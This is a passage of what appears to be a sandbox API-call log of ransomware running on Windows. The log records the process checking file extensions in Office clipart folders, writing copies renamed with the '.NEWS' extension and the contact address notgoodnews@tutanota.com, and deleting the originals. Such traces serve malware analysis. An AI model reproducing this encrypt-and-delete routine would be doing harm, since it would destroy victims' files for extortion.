lpString2="8.JPG") returned -1 [0187.421] lstrlenW (lpString=".pdf") returned 4 [0187.421] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".xls") returned 4 [0187.421] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.421] lstrlenW (lpString=".xlsx") returned 5 [0187.421] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.422] lstrlenW (lpString=".ppt") returned 4 [0187.422] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.422] lstrlenW (lpString=".zip") returned 4 [0187.422] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.422] lstrlenW (lpString=".rar") returned 4 [0187.422] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.422] lstrlenW (lpString=".bz2") returned 4 [0187.422] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.422] lstrlenW (lpString=".7z") returned 3 [0187.422] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.422] lstrlenW (lpString=".dbf") returned 4 [0187.422] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.422] lstrlenW (lpString=".1cd") returned 4 [0187.422] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0187.422] lstrlenW (lpString=".jpg") returned 4 [0187.422] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.422] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.422] lstrlenW (lpString="J0151061.WMF") returned 12 [0187.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.424] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6752) returned 1 [0187.424] CloseHandle (hObject=0x560) returned 1 [0187.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220 [0187.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.424] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.424] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.425] GetLastError () returned 0x0 [0187.425] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1a60, lpOverlapped=0x0) returned 1 [0187.427] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0187.428] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.428] SetEndOfFile (hFile=0x474) returned 1 [0187.428] CloseHandle (hObject=0x474) returned 1 [0187.428] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.428] SetEndOfFile (hFile=0x560) returned 1 [0187.430] CloseHandle (hObject=0x560) returned 1 [0187.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".doc") returned 4 [0187.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".docx") returned 5 [0187.432] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.432] lstrlenW (lpString=".pdf") returned 4 [0187.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".xls") returned 4 [0187.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.432] lstrlenW (lpString=".xlsx") returned 5 [0187.432] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.432] lstrlenW (lpString=".ppt") returned 4 [0187.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".zip") returned 4 [0187.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.432] lstrlenW (lpString=".rar") returned 4 [0187.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".bz2") returned 4 [0187.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".7z") returned 3 [0187.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".dbf") returned 4 [0187.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".1cd") returned 4 [0187.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".jpg") returned 4 [0187.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.432] lstrlenW (lpString=".doc") returned 4 [0187.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString=".docx") returned 5 [0187.433] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.433] lstrlenW (lpString=".pdf") returned 4 [0187.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString=".xls") returned 4 [0187.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.433] lstrlenW (lpString=".xlsx") returned 5 [0187.433] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.433] lstrlenW (lpString=".ppt") returned 4 [0187.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.433] lstrlenW (lpString=".zip") returned 4 [0187.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.433] lstrlenW (lpString=".rar") returned 4 [0187.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString=".bz2") returned 4 [0187.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString=".7z") returned 3 [0187.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.433] lstrlenW (lpString=".dbf") returned 4 [0187.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.433] lstrlenW (lpString=".1cd") returned 4 [0187.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0187.433] lstrlenW (lpString=".jpg") returned 4 [0187.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.433] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.433] lstrlenW (lpString="J0151063.WMF") returned 12 [0187.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.434] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10632) returned 1 [0187.434] CloseHandle (hObject=0x560) returned 1 [0187.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0187.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.435] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.435] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.436] GetLastError () returned 0x0 [0187.436] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2988, lpOverlapped=0x0) returned 1 [0187.437] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2990, lpOverlapped=0x0) returned 1 [0187.438] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.438] SetEndOfFile (hFile=0x474) returned 1 [0187.439] CloseHandle (hObject=0x474) returned 1 [0187.439] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.439] SetEndOfFile (hFile=0x560) returned 1 [0187.441] CloseHandle (hObject=0x560) returned 1 [0187.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0187.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.442] lstrlenW (lpString=".doc") returned 4 [0187.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.442] lstrlenW (lpString=".docx") returned 5 [0187.442] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0187.442] lstrlenW (lpString=".pdf") returned 4 [0187.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.442] lstrlenW (lpString=".xls") returned 4 [0187.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.442] lstrlenW (lpString=".xlsx") returned 5 [0187.443] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0187.443] lstrlenW (lpString=".ppt") returned 4 [0187.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString=".zip") returned 4 [0187.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.443] lstrlenW (lpString=".rar") returned 4 [0187.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString=".bz2") returned 4 [0187.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString=".7z") returned 3 [0187.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString=".dbf") returned 4 [0187.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString=".1cd") returned 4 [0187.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString=".jpg") returned 4 [0187.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.443] lstrlenW (lpString=".doc") returned 4 [0187.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString=".docx") returned 5 [0187.443] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0187.443] lstrlenW (lpString=".pdf") returned 4 [0187.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.443] lstrlenW (lpString=".xls") returned 4 [0187.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.443] lstrlenW (lpString=".xlsx") returned 5 [0187.443] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0187.443] lstrlenW (lpString=".ppt") returned 4 [0187.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.444] lstrlenW (lpString=".zip") returned 4 [0187.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.444] lstrlenW (lpString=".rar") returned 4 [0187.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.444] lstrlenW (lpString=".bz2") returned 4 [0187.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.444] lstrlenW (lpString=".7z") returned 3 [0187.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.444] lstrlenW (lpString=".dbf") returned 4 [0187.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.444] lstrlenW (lpString=".1cd") returned 4 [0187.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0187.444] lstrlenW (lpString=".jpg") returned 4 [0187.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.444] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.444] lstrlenW (lpString="J0151067.WMF") returned 12 [0187.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.445] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=13204) returned 1 [0187.445] CloseHandle (hObject=0x560) returned 1 [0187.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0187.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.445] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.446] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.446] GetLastError () returned 0x0 [0187.446] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x3394, lpOverlapped=0x0) returned 1 [0187.621] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x33a0, lpOverlapped=0x0) returned 1 [0187.622] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.622] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.623] SetEndOfFile (hFile=0x474) returned 1 [0187.623] CloseHandle (hObject=0x474) returned 1 [0187.623] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.623] SetEndOfFile (hFile=0x560) returned 1 [0187.627] CloseHandle (hObject=0x560) returned 1 [0187.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.630] lstrlenW (lpString=".doc") returned 4 [0187.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.630] lstrlenW (lpString=".docx") returned 5 [0187.630] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0187.630] lstrlenW (lpString=".pdf") returned 4 [0187.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.630] lstrlenW (lpString=".xls") returned 4 [0187.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.630] lstrlenW (lpString=".xlsx") returned 5 [0187.631] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0187.631] lstrlenW (lpString=".ppt") returned 4 [0187.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString=".zip") returned 4 [0187.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.631] lstrlenW (lpString=".rar") returned 4 [0187.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString=".bz2") returned 4 [0187.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString=".7z") returned 3 [0187.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString=".dbf") returned 4 [0187.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString=".1cd") returned 4 [0187.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString=".jpg") returned 4 [0187.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.631] lstrlenW (lpString=".doc") returned 4 [0187.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.631] lstrlenW (lpString=".docx") returned 5 [0187.632] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0187.632] lstrlenW (lpString=".pdf") returned 4 [0187.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString=".xls") returned 4 [0187.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.632] lstrlenW (lpString=".xlsx") returned 5 [0187.632] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0187.632] lstrlenW (lpString=".ppt") returned 4 [0187.632] lstrcmpiW 